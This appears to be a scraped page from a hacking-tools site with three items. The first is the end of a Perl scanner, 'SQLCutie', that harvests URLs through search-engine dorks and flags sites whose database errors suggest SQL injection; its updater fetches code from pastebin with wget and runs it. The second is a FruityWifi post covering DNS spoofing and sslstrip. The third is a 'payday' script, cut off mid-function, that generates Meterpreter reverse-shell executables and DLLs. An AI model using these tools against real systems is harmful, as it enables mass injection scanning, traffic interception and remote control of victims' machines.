	print     YELLOW," +",GREEN,"         <- spacing (I'll fix this in next version so u can add actual space)\n\n",RESET;
	print     BOLD,"[!] Basic [!]\n\n",RESET;
	print     YELLOW," php?id\n",GREEN," -- Dorks for any PHP ext with param of 'id'\n",CYAN," Since we didn't indicate the exact query, it will get contents from anywhere (Doesn't need to be in URL)\n\n";
	print     YELLOW," inurl:php?id\n",GREEN," -- Dorks for PHP ext with param of 'id' only from URL\n",CYAN," See the difference?\n\n";	
	print     YELLOW," intitle:php?id\n",GREEN," -- Dorks for text 'php?id' in the title\n\n";
	print     YELLOW," site:gov+inurl:php?id\n",GREEN," -- Dorks top-lvl domain 'gov' with PHP ext and 'id' param only from URL\n\n";
	print     YELLOW," site:google.ca\n",GREEN," -- Dorks domain 'google.ca' only from URL\n\n";
	print     YELLOW," site:.google.ca\n",GREEN," -- Dorks ANY sub-domain(s) of 'google.ca' only from URL\n",CYAN," See the difference between a dot?\n\n";
	print     YELLOW," site:play.google.ca\n",GREEN," -- Dorks specifically sub-domain 'play.google.ca' only from URL\n\n";
	print     YELLOW," (asp|aspx)?id=\n",GREEN," -- Dorks URL ext 'asp' OR 'aspx' with 'id' param\n",CYAN," ONLY works inside",RED,BOLD," '' ",RESET,CYAN,"or",RED,BOLD," \"\"",RESET,CYAN,"\n Ex: $0 -d ",BOLD,"'(index|forum|cart).php?id='\n\n",RESET;
	print     YELLOW," cute+AND+nice+inurl:php?cat=\n",GREEN," -- Dorks for both words 'cute' & 'nice' and PHP ext with 'cat' param only from URL\n\n";
	print     YELLOW," (cart|forum)*?id=\n",GREEN," -- Dorks for sub-queries 'cart' or 'forum' in ANY available query (could be ext & vice versa) with 'id' param\n",CYAN," The * indicate any available result\n\n";
	print     YELLOW," php?(id|cat)=\n",GREEN," -- Dorks for PHP ext with param of 'id' or 'cat'\n\n";
	print     YELLOW," (asp|php)?(id|cat)=\n",GREEN," -- Dorks for PHP or ASP exts with param of 'id' or 'cat'\n\n",RESET;
	print     BOLD,"[!] Advanced [!]\n\n",RESET;
	print     YELLOW," inurl:\"wp-download.php?dl_id=\"\n",GREEN," -- SQLi Vuln CVE 2008-1646\n\n",RESET;
	print     YELLOW," allinurl:(asp|aspx|php)?(id=|q=)&*+site:mil\n",GREEN," -- Search for 'asp','aspx' OR 'php' with param 'id' OR 'q' AND any other param with top-lvl domain 'mil'\n\n",RESET;
	print     YELLOW," \"you have an error in your sql syntax\"+php?id=\n",GREEN," -- Precisely dorks for MySQLi vuln with PHP ext and 'id' param\n\n",RESET;
	print CYAN,"[=] For some reasons queries like inurl or intitle don't work inside single/double quotes, so avoid using them (this will be fixed in next 2-3 version)\n";
	print 		  "[=] ALWAYS use single/double quotes for queries which have () | & and/or \"\"\n";
	print 		  "[=] For long query string, avoid using inurl/intext/intitle/related (see 1st reason)\n";
	print 		  "[=] Play around with queries. Do not give up if it doesn't show. Remember! Tries different query if ones don't work!\n";
	print 		  "[=] Check out ",UNDERLINE,"http://www.exploit-db.com/google-dorks/",RESET,CYAN," for more special dorks! Or make your own specials!\n";
	print 		  "[=] If u still have question about query, email me at ",UNDERLINE,"madfedora\@protomail.ch\n",RESET;
	print BLUE,"\n$0 -h\n\n",RESET;
	exit();
}

sub proxyhelp
{
	system('clear');
	print title;
	print GREEN,"\n[?] Example: ./sqlcutie -p ",BOLD,"http://127.0.0.1:9050/\n";
	print "[!] To install TOR: $0 -t\n",RESET;
	print BLUE,"$0 -h\n\n",RESET;
	exit();
}

sub update
{
	system('clear');
	
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print GREEN,"\n[!] Updating...\n";
	system('wget http://pastebin.com/raw.php?i=NdVZ5HVX -r -O ./sqlcutie && ls -l sqlcutie ; chmod u+x ./sqlcutie ; dos2unix ./sqlcutie');
        print BOLD,"";
	system('echo "For what changed run: ./sqlcutie -r"');
        print "\n",RESET;
	exit();
}

sub tor
{
	system('clear');
	
	print title;
	print GREEN,BOLD,"\n[!] You're installing TOR\n[!] Please enter your permission password to proceed if being prompted\n",YELLOW,"[!] Press Ctrl C to exit\n",RESET;
	system('sudo apt-get install tor || sudo yum install tor && service tor start');
	print YELLOW"If TOR didn't start automaticall, please start run 'tor' command in different terminal.",RESET;
	print BLUE,BOLD"\nTo use: $0 -d <input> -p http://127.0.0.1:9050/\n",RESET;
	exit();
}

sub conte
{
	system('w3m -dump http://pastebin.com/raw.php?i=UVcmJQQz|less');
}

sub variables
{
	my $i=0;
	foreach (@ARGV)
	{
        if ($ARGV[$i] eq "-d"){$search_dork = $ARGV[$i+1]}
        if ($ARGV[$i] eq "-o"){$vulnf = $ARGV[$i+1]}
        if ($ARGV[$i] eq "-p"){$proxy = $ARGV[$i+1]}
	if ($ARGV[$i] eq "-h"){&help}
	if ($ARGV[$i] eq "-r"){&readme}
	if ($ARGV[$i] eq "-dh"){&dorkhelp}
	if ($ARGV[$i] eq "-ph"){&proxyhelp}
	if ($ARGV[$i] eq "-u"){&update}
	if ($ARGV[$i] eq "-t"){&tor}
	if ($ARGV[$i] eq "-c"){&conte}
        $i++;
	}
}


sub main
{
	system('clear');
	
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print GREEN, " \n--------------------------------------\n";
	print BOLD," \n    SQLCutie ",YELLOW,"1.8a\n",RESET;
	print BLUE,"       madfedora\@protomail.ch\n",RESET;
	print GREEN," \n--------------------------------------\n\n",RESET;
	if (@ARGV+1){print GREEN,"[?] For Help : ",BOLD,"$0 -h\n\n",RESET;}
}

sub vulnscanner
{
     checksearch();
     search1($search_dork);
     search2($search_dork);
}
sub checksearch
{
	my $request   = HTTP::Request->new(GET => "http://www.ask.com/web?q=$search_dork&page=1");
	my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
	$useragent->proxy("http", "http://$proxy/") if defined($proxy);
	my $response  = $useragent->request($request) ;
	my $result    = $response->content;
}         

sub search1
{
     my $dork  = $_[0];
     for ($i=1;$i<10;$i=$i+1)
     {
	my $request   = HTTP::Request->new(GET => "http://www.ask.com/web?q=$dork&page=$i");
        my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
        $useragent->proxy("http", "http://$proxy/") if defined($proxy);
        my $response  = $useragent->request($request) ;
        my $result    = $response->content;
	while ($result =~ m/<a class="web-result-title-link\" href=\"(.*?)\" onmousedown=\"uaction/g)
         {
             print BLUE, "[!] Scanning > $1\n", RESET;     
             checkvuln($1)
         }
     }                  
}
sub search2
{
     my $dork  = $_[0];
     for ($i=1;$i<50;$i++)
     {
	my $request   = HTTP::Request->new(GET => "http://www.bing.com/search?q=$dork&go=&filt=all&first=$i");
	my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
        $useragent->proxy("http", "http://$proxy/") if defined($proxy);
        my $response  = $useragent->request($request) ;
        my $result    = $response->content;
	while ($result =~ m/class=\"b_algo\"><h2><a href=\"(.*?)\" h="\ID=SERP/g)
	{
        	my $dorkurl ="http://".$3 ;
        	print BLUE, "[!] Scanning > $dorkurl\n",RESET;
        	checkvuln($dorkurl);
        }
     }
}

sub checkvuln
{
     my $urlscan   = $_[0];
     my $link       = $urlscan.('\'');
     my $ua         = LWP::UserAgent->new();
     $ua->proxy("http", "http://$proxy/") if defined($proxy);
     my $req        = $ua->get($link);
     my $fz       = $req->content;
#-----------------------------------------------------------#
#      PHP MySQL                                            #
#-----------------------------------------------------------#
     if ($fz =~ m/mysql_num_rows/i)

     {
	print BOLD, GREEN, "[!] {MySQL} Num Row -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL Num Row] $urlscan\n");
         }
     }

     elsif ($fz =~ m/mysql_fetch_/i || $fz =~ m/mysql_fetch_array/i || $fz =~ m/FetchRow()/i|| $fz =~ m/GetArray()/i || $fz =~ m/FetchRow(.*)/i|| $fz =~ m/GetArray(.*)/i)
     {
         print BOLD, GREEN, "[!] {MySQL} Fetch -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL Fetch] $urlscan\n");
         }
     }

     elsif ($fz =~ m/user_error(.*,E_USER_ERROR.*)/i || $fz =~ m/user_error(.*,E_USER_WARNING.*)/i|| $fz =~ m/trigger_error(.*,E_USER_ERROR.*)/i || $fz =~ m/trigger_error(.*,E_USER_WARNING.*)/i )
     {
         print BOLD, GREEN, "[!] {MySQL} User/Trigger Error -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL User/Trigger Error] $urlscan\n");
         }
     }

     elsif ($fz =~ m/set_error_handler(.*)/i)
     {
         print BOLD, GREEN, "[!] {MySQL} Error Handler -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL Error Handler] $urlscan\n");
         }
     }


#-----------------------------------------------------------#
#      MySQL                                                #
#-----------------------------------------------------------#

     elsif ($fz =~ m/Unexpected EOF found when reading file/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1039 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1039] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Triggers cannot be created on system tables/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1465 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1465] $urlscan\n");
         }
     }
     elsif ($fz =~ m/Can't get working directory/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1015 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1015] $urlscan\n");
         }
     }
     elsif ($fz =~ m/You have an error in your SQL syntax/i || $fz =~ m/Query failed/i || $fz =~ m/SQL query failed/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1064 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1064] $urlscan\n");
         }
     }
     elsif ($fz =~ m/The used SELECT statements have a different number of columns/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1222 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1222] $urlscan\n");
         }
     }
	elsif ($fz =~ m/mysql_fetch_object()/i)
     {
         print BOLD, GREEN, "[!] {MySQL} mysql_fetch_object() -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL fetch_object] $urlscan\n");
         }
     }
	elsif ($fz =~ m/pg_connect()/i)
     {
         print BOLD, GREEN, "[!] {MySQL} pg_connect()  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL pg_connect] $urlscan\n");
         }
     }
	elsif ($fz =~ m/SQL command not properly ended/i)
     {
         print BOLD, GREEN, "[!] {MySQL} command  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL command] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: include/i)
     {
         print BOLD, GREEN, "[!] {MySQL} include  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL include] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: main/i)
     {
         print BOLD, GREEN, "[!] {MySQL} main  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL main] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: pg_exec/i)
     {
         print BOLD, GREEN, "[!] {MySQL} pg_exec  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL pg_exec] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: ocifetchstatement/i)
     {
         print BOLD, GREEN, "[!] {MySQL} ocifetchstatement  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL ocifetchstatement] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      MsSQL                                                #
#-----------------------------------------------------------#
     elsif ($fz =~ m/Microsoft OLE DB Provider for SQL Server/i || $fz =~ m/Unclosed quotation mark/i || $fz =~ m/OLE\/DB provider returned message/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} Microsoft OLE DB -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL OLEDB] $urlscan\n");
         }
     }

     elsif ($fz =~ m/ORDER BY items must appear in the select list if the statement contains a UNION operator/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 104 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 104] $urlscan\n");
         }
     }

     elsif ($fz =~ m/The column prefix.*does not match with a table name or alias name used in the query/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 107 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 107] $urlscan\n");
         }
     }

     elsif ($fz =~ m/The ORDER BY position number.*is out of range of the number of items in the select list/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 108 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 108] $urlscan\n");
         }
     }
     elsif ($fz =~ m/There are more columns in the INSERT statement than values specified in the VALUES clause/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 109 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 109] $urlscan\n");
         }
     }

     elsif ($fz =~ m/There are fewer columns in the INSERT statement than values specified in the VALUES clause/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 110 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 110] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Missing end comment mark '\*\/'/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 113 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 113] $urlscan\n");
         }
     }

     elsif ($fz =~ m/A GOTO statement references the label '.*' but the label has not been declared/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 133 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 133] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Could not load sysprocedures entries for constraint ID.*in database ID/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 427 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 427] $urlscan\n");
         }
     }

#-----------------------------------------------------------#
#      Access                                               #
#-----------------------------------------------------------#
     elsif ($fz =~ m/ODBC SQL Server Driver/i || $fz =~ m/ODBC Microsoft Access Driver/i || $fz =~ m/OLE DB Provider for ODBC/i)
     {
         print BOLD, GREEN, "[!] {Access} Microsoft ODBC -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln3,"[ODBC] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Microsoft JET Database/i)
     {
         print BOLD, GREEN, "[!] {Access} Microsoft JET -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln3,"[JET DB] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      ADO DB                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Invalid Querystring/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} Invalid Querystring -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Query] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ADODB.Field/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} Field -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Field] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ADODB.Command/i )
     {
         print BOLD, GREEN, "[!] {ADO DB} Command -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Command] $urlscan\n");
         }
     }
	elsif ($fz =~ m/BOF or EOF/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} BOF or EOF -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[BOF or EOF] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      VBS Runtime (Minor)                                  #
#-----------------------------------------------------------#
     elsif ($fz =~ m/VBScript Runtime/i)
     {
         print BOLD, GREEN, "[!] VBScript Runtime -> $urlscan\n", RESET;
	 print BOLD, YELLOW "[x] Non-Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[VBScript] $urlscan\n");
         }
     }

#-----------------------------------------------------------#
#      PostgreSQL                                           #
#-----------------------------------------------------------#
	elsif ($fz =~ m/postgresql.util/i || $fz =~ m/psql: FATAL/i || $fz =~ m/ERROR: invalid input syntax for integer/i )
     {
         print BOLD, GREEN, "[!] {PostgreSQL} Fatal Error -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre Fatal Error] $urlscan\n");
         }
     }
	elsif ($fz =~ m/dynamic_result_sets_returned/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 0100C -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 0100C] $urlscan\n");
         }
     }
	elsif ($fz =~ m/null_value_eliminated_in_set_function/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 1003 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 1003] $urlscan\n");
         }
     }

	elsif ($fz =~ m/string_data_right_truncation/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 1004 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 1004] $urlscan\n");
         }
     }
	elsif ($fz =~ m/deprecated_feature/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 01P01 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 01P01] $urlscan\n");
         }
     }
	elsif ($fz =~ m/sql_statement_not_yet_complete/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 3000 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 3000] $urlscan\n");
         }
     }
	elsif ($fz =~ m/connection_does_not_exist/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8003 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8003] $urlscan\n");
         }
     }

	elsif ($fz =~ m/connection_failure/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8006 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8006] $urlscan\n");
         }
     }

	elsif ($fz =~ m/sqlserver_rejected_establishment_of_sqlconnection/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8004 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8004] $urlscan\n");
         }
     }

	elsif ($fz =~ m/no_additional_dynamic_result_sets_returned/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 2001 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 2001] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Oracle                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/oracle.jdbc/i || $fz =~ m/system.data.oledb/i )
     {
         print BOLD, GREEN, "[!] {JDBC} -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[JDBC] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Sybase                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Warning: sybase_query()/i || $fz =~ m/sybase_fetch_assoc()/i )
     {
         print BOLD, GREEN, "[!] {Sybase} Query/Fetch -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Sybase Query/Fetch] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      MariaDB                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/ERROR 1712 (HY000)/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Index Corruption -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Index] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_QUERY_EXCEEDED_ROWS_EXAMINED_LIMIT/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Query Excecution Corrupted -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Query Exe] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_QUERY_CACHE_IS_GLOBALY_DISABLED/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Query cache is globally disabled -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Query Cache] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_DYN_COL_IMPLEMENTATION_LIMIT/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Dynamic column implementation limit -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Dynamic Col] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      IBM DB2                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/The processing of the CONNECT statement at a DB2 remote server has failed/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00D30021 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00D30021] $urlscan\n");
         }
     }

	elsif ($fz =~ m/DB2 cannot connect to a group buffer pool/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00C20203 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00C20203] $urlscan\n");
         }
     }
	elsif ($fz =~ m/An error was detected in the command that was used to start the/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00E80051 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00E80051] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Oracle DB2/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} Oracle DB2 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 Oracle] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Oracle ODBC/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} Oracle ODBC -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 ODBC] $urlscan\n");
         }
     }


#-----------------------------------------------------------#
#      PHP PDO                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/SQLSTATE[42000] [1049] Unknown database/i )
     {
         print BOLD, GREEN, "[!] {PHP PDO} 1049 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[PHP PDO 1049] $urlscan\n");
         }
     }
	elsif ($fz =~ m/SQLSTATE[28000] [1045] Access denied for user/i )
     {
         print BOLD, GREEN, "[!] {PHP PDO} 1045 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[PHP PDO 1045] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Coldfusion                                           #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Error Executing Database Query/i)
     {
         print BOLD, GREEN, "[!] {Coldfusion} Error Executing DB -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ORA-01756/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC ORA-01756 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM ORA-01756] $urlscan\n");
         }
     }
     elsif ($fz =~ m/ORA-00921/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC ORA-00921 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM ORA-00921] $urlscan\n");
         }
     }
     elsif ($fz =~ m/error ORA-/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC Generic -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM Misc] $urlscan\n");
         }
     }
     elsif ($fz =~ m/JDBC Oracle/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC Oracle -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM JDBC Oracle] $urlscan\n");
         }
     }
}

variables();
main();

if (defined($search_dork))
{
     print GREEN,BOLD,"[+] Dork        : ",YELLOW,"$search_dork\n";
		  print GREEN,"[+] Proxy       : ",YELLOW,"$proxy\n";
		  print GREEN,"[+] Output File : ",YELLOW,"$vulnf\n";
		  print YELLOW,"[!] Press Ctrl C to Exit\n";
		  print "[!] ",UNDERLINE,"Beware of False Positive\n\n",RESET;
     vulnscanner();
     if (defined($vulnf))
     {
	 
         open(vuln_file,">>$vulnf") ;
         print vuln_file @vuln1;
         print vuln_file @vuln2;
         print vuln_file @vuln3;
         close(vuln_file);
         print YELLOW,"[+] Result Saved to $vulnf\n",RESET;
         exit();
     }
}
#-----------------------------------------------------------#
#      End                                                  #
#-----------------------------------------------------------#

 

Source : https://github.com/madfedora


FruityWifi v-2.4 – is an open source tool to audit wireless networks.

$
0
0

changelog v2.4:
+ Utils have been added (replaces “ifconfig -a”)
+ Kali Linux Rolling compatibility issue has been fixed

FruityWifi is a wireless network auditing tool. The application can be installed in any Debian based system adding the extra packages. Tested in Debian, Kali Linux, Kali Linux ARM (Raspberry Pi), Raspbian (Raspberry Pi), Pwnpi (Raspberry Pi), Bugtraq.FruityWifi-2-4
Current external modules:
+ module nmap
+ module dnsspoof
+ module sslstrip
+ module urlsnarf

Services:
+ Wireless: Start|Stop wireless access point. (hostapd)
+ Supplicant: Connects to the internet using a wireless interface
+ Karma: REF: http://www.digininja.org/karma/
+ URL Snarf: Start|Stop urlsnarf
+ DNS Spoof: Start|Stop dnsspoof
+ Kismet: Start|Stop kismet
+ Squid: Start|Stop squid3
+ sslstrip: Start|Stop sslstrip

Installation:

git clone https://github.com/xtr4nge/FruityWifi && cd FruityWifi
./install-modules.py
install-FruityWifi.sh

Go to http://localhost:8000 (for http)
Go to https://localhost:8443 (for https)

user: admin
pass: admin

Update:
git pull origin master

or

Download: v2.4.tar.gz  | v2.4.zip
Source: http://www.fruitywifi.com | Our Post Before

Source:

payday – Payload generator that uses Metasploit and Veil.

$
0
0

Payload generator that uses Metasploit and Veil. Takes IP address input and then builds payloads automatically. Calls Veil framework with supplied IP address and creates binaries and handlers. Uses msfvenom to create payloads and writes resource handler files in the same way that Veil does.

payday

payday

Requirements:
+ Metasploit Framework
+ python 2.7.x
Options:
– Generate Metasploit Payloads
– Generate Veil Payloads
– Generate Both
– Clean Out Directories
– Specify custom output directory
– Clean custom output directory

Usage:

git clone https://github.com/lorentzenman/payday && cd payday
./payday.py

Script:

#!/usr/bin/python
# Author : Matt Lorentzen
# version 0.4

import os, sys, time, argparse

def banner():

	version = "the beanster edition"
    
	banner = """
                       _
 _ __   __ _ _   _  __| | __ _ _   _
| '_ \ / _` | | | |/ _` |/ _` | | | |
| |_) | (_| | |_| | (_| | (_| | |_| |
| .__/ \__,_|\__, |\__,_|\__,_|\__, |
|_|          |___/             |___/
                 %s
""" %version
     
	print redtxt(banner)


def msf_payloads(ip, output_dir):
	# Payloads Dictionary
	payloads = []

	payloads.append(["windows/meterpreter/reverse_tcp",443, "exe", "revmet.exe"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp", 443, "exe", "revmet64.exe"])
	payloads.append(["windows/meterpreter/reverse_http",443, "exe", "methttp.exe"])
	payloads.append(["windows/meterpreter/reverse_https",443, "exe", "methttps.exe"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp",443, "exe-service" , "serv64.exe"])
	payloads.append(["windows/meterpreter/reverse_tcp",443, "exe-service" ,"serv.exe"])
	payloads.append(["windows/meterpreter/reverse_tcp",443, "dll", "revmetdll.dll"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp",443, "dll", "revmetdll64.dll"])

	#./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

	for parms in payloads:
		lhost = ip
		payload = parms[0]
		lport = str(parms[1])
		output_type = parms[2]
		ext = parms[3]
		base = output_dir
		venom_cmd = "msfvenom -p " + payload + " LHOST=" + ip + " LPORT=" + lport + " -f " + output_type + " -o " + base + ext
		print "[!] Generating : " + bluetxt(payload)
		os.system(venom_cmd)
		print "[!] Generating handler for : " + bluetxt(payload)
		# strip off ext and replace with .rc

		handler = ext.split(".")[0] + ".rc"
